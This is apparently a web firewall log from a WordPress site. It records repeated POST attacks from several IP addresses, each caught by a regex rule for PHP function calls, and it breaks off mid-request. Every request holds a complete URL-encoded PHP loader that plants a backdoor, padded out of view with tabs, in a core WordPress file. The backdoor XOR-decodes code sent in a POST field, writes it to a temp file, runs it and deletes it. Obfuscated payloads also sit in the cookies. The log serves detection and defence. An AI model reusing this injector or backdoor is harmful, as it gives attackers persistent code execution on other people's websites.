3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoStvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\naccept-encoding:gzip,deflate\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-fetch-user:?1\n\nlX=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522fa%255Cx63%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522fa%255Cx63%2522%255D%2529%2529%257B%2520%2524key%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524holder%2520%253D%2520hex2bin%2528%2524_POST%255B%2522fa%255Cx63%2522%255D%2529%253B%2520%2524ent%2520%253D%2520%2527%2527%253B%2520%2524x%2520%253D%25200%253B%2520do%257B%2524ent%2520.%253D%2520chr%2528ord%2528%2524holder%255B%2524x%255D%2529%2520%255E%252086%2529%253B%2524x%252B%252B%253B%257D%2520while%2528%2524x%2520%253C%2520strlen%2528%2524holder%2529%2529%253B%2520foreach%2520%2528%2524key%2520as%2520%2524elem%2529%253A%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524elem%2529%252C%2520is_writable%2528%2524elem%2529%255D%2529%2529%2520%257B%2520%2524record%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524elem%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524record%252C%2520%2524ent%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524record%253B%2520unlink%2528%2524record%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:46:28","87.106.235.29","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> zr:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522fa%255Cx63%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522fa%255Cx63%2522%255D%2529%2529%257B%2520%2524key%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524holder%2520%253D%2520hex2bin%2528%2524_POST%255B%2522fa%255Cx63%2522%255D%2529%253B%2520%2524ent%2520%253D%2520%2527%2527%253B%2520%2524x%2520%253D%25200%253B%2520do%257B%2524ent%2520.%253D%2520chr%2528ord%2528%2524holder%255B%2524x%255D%2529%2520%255E%252086%2529%253B%2524x%252B%252B%253B%257D%2520while%2528%2524x%2520%253C%2520strlen%2528%2524holder%2529%2529%253B%2520foreach%2520%2528%2524key%2520as%2520%2524elem%2529%253A%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524elem%2529%252C%2520is_writable%2528%2524elem%2529%255D%2529%2529%2520%257B%2520%2524record%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524elem%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524record%252C%2520%2524ent%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524record%253B%2520unlink%2528%2524record%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-dest:document\ncontent-length:3881\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvraVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\naccept-encoding:gzip,deflate\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-fetch-user:?1\n\nzr=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522fa%255Cx63%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522fa%255Cx63%2522%255D%2529%2529%257B%2520%2524key%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524holder%2520%253D%2520hex2bin%2528%2524_POST%255B%2522fa%255Cx63%2522%255D%2529%253B%2520%2524ent%2520%253D%2520%2527%2527%253B%2520%2524x%2520%253D%25200%253B%2520do%257B%2524ent%2520.%253D%2520chr%2528ord%2528%2524holder%255B%2524x%255D%2529%2520%255E%252086%2529%253B%2524x%252B%252B%253B%257D%2520while%2528%2524x%2520%253C%2520strlen%2528%2524holder%2529%2529%253B%2520foreach%2520%2528%2524key%2520as%2520%2524elem%2529%253A%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524elem%2529%252C%2520is_writable%2528%2524elem%2529%255D%2529%2529%2520%257B%2520%2524record%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524elem%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524record%252C%2520%2524ent%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524record%253B%2520unlink%2528%2524record%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:46:32","148.113.9.51","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Tj:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522fa%255Cx63%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522fa%255Cx63%2522%255D%2529%2529%257B%2520%2524key%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524holder%2520%253D%2520hex2bin%2528%2524_POST%255B%2522fa%255Cx63%2522%255D%2529%253B%2520%2524ent%2520%253D%2520%2527%2527%253B%2520%2524x%2520%253D%25200%253B%2520do%257B%2524ent%2520.%253D%2520chr%2528ord%2528%2524holder%255B%2524x%255D%2529%2520%255E%252086%2529%253B%2524x%252B%252B%253B%257D%2520while%2528%2524x%2520%253C%2520strlen%2528%2524holder%2529%2529%253B%2520foreach%2520%2528%2524key%2520as%2520%2524elem%2529%253A%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524elem%2529%252C%2520is_writable%2528%2524elem%2529%255D%2529%2529%2520%257B%2520%2524record%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524elem%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524record%252C%2520%2524ent%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524record%253B%2520unlink%2528%2524record%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-dest:document\ncontent-length:3881\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvITbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\naccept-encoding:gzip,deflate\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-fetch-user:?1\n\nTj=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522fa%255Cx63%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522fa%255Cx63%2522%255D%2529%2529%257B%2520%2524key%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524holder%2520%253D%2520hex2bin%2528%2524_POST%255B%2522fa%255Cx63%2522%255D%2529%253B%2520%2524ent%2520%253D%2520%2527%2527%253B%2520%2524x%2520%253D%25200%253B%2520do%257B%2524ent%2520.%253D%2520chr%2528ord%2528%2524holder%255B%2524x%255D%2529%2520%255E%252086%2529%253B%2524x%252B%252B%253B%257D%2520while%2528%2524x%2520%253C%2520strlen%2528%2524holder%2529%2529%253B%2520foreach%2520%2528%2524key%2520as%2520%2524elem%2529%253A%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524elem%2529%252C%2520is_writable%2528%2524elem%2529%255D%2529%2529%2520%257B%2520%2524record%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524elem%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524record%252C%2520%2524ent%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524record%253B%2520unlink%2528%2524record%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:46:41","98.130.43.189","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522fa%255Cx63%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522fa%255Cx63%2522%255D%2529%2529%257B%2520%2524key%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524holder%2520%253D%2520hex2bin%2528%2524_POST%255B%2522fa%255Cx63%2522%255D%2529%253B%2520%2524ent%2520%253D%2520%2527%2527%253B%2520%2524x%2520%253D%25200%253B%2520do%257B%2524ent%2520.%253D%2520chr%2528ord%2528%2524holder%255B%2524x%255D%2529%2520%255E%252086%2529%253B%2524x%252B%252B%253B%257D%2520while%2528%2524x%2520%253C%2520strlen%2528%2524holder%2529%2529%253B%2520foreach%2520%2528%2524key%2520as%2520%2524elem%2529%253A%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524elem%2529%252C%2520is_writable%2528%2524elem%2529%255D%2529%2529%2520%257B%2520%2524record%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524elem%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524record%252C%2520%2524ent%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524record%253B%2520unlink%2528%2524record%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\ncontent-length:3904\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522fa%255Cx63%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522fa%255Cx63%2522%255D%2529%2529%257B%2520%2524key%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524holder%2520%253D%2520hex2bin%2528%2524_POST%255B%2522fa%255Cx63%2522%255D%2529%253B%2520%2524ent%2520%253D%2520%2527%2527%253B%2520%2524x%2520%253D%25200%253B%2520do%257B%2524ent%2520.%253D%2520chr%2528ord%2528%2524holder%255B%2524x%255D%2529%2520%255E%252086%2529%253B%2524x%252B%252B%253B%257D%2520while%2528%2524x%2520%253C%2520strlen%2528%2524holder%2529%2529%253B%2520foreach%2520%2528%2524key%2520as%2520%2524elem%2529%253A%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524elem%2529%252C%2520is_writable%2528%2524elem%2529%255D%2529%2529%2520%257B%2520%2524record%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524elem%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524record%252C%2520%2524ent%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524record%253B%2520unlink%2528%2524record%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%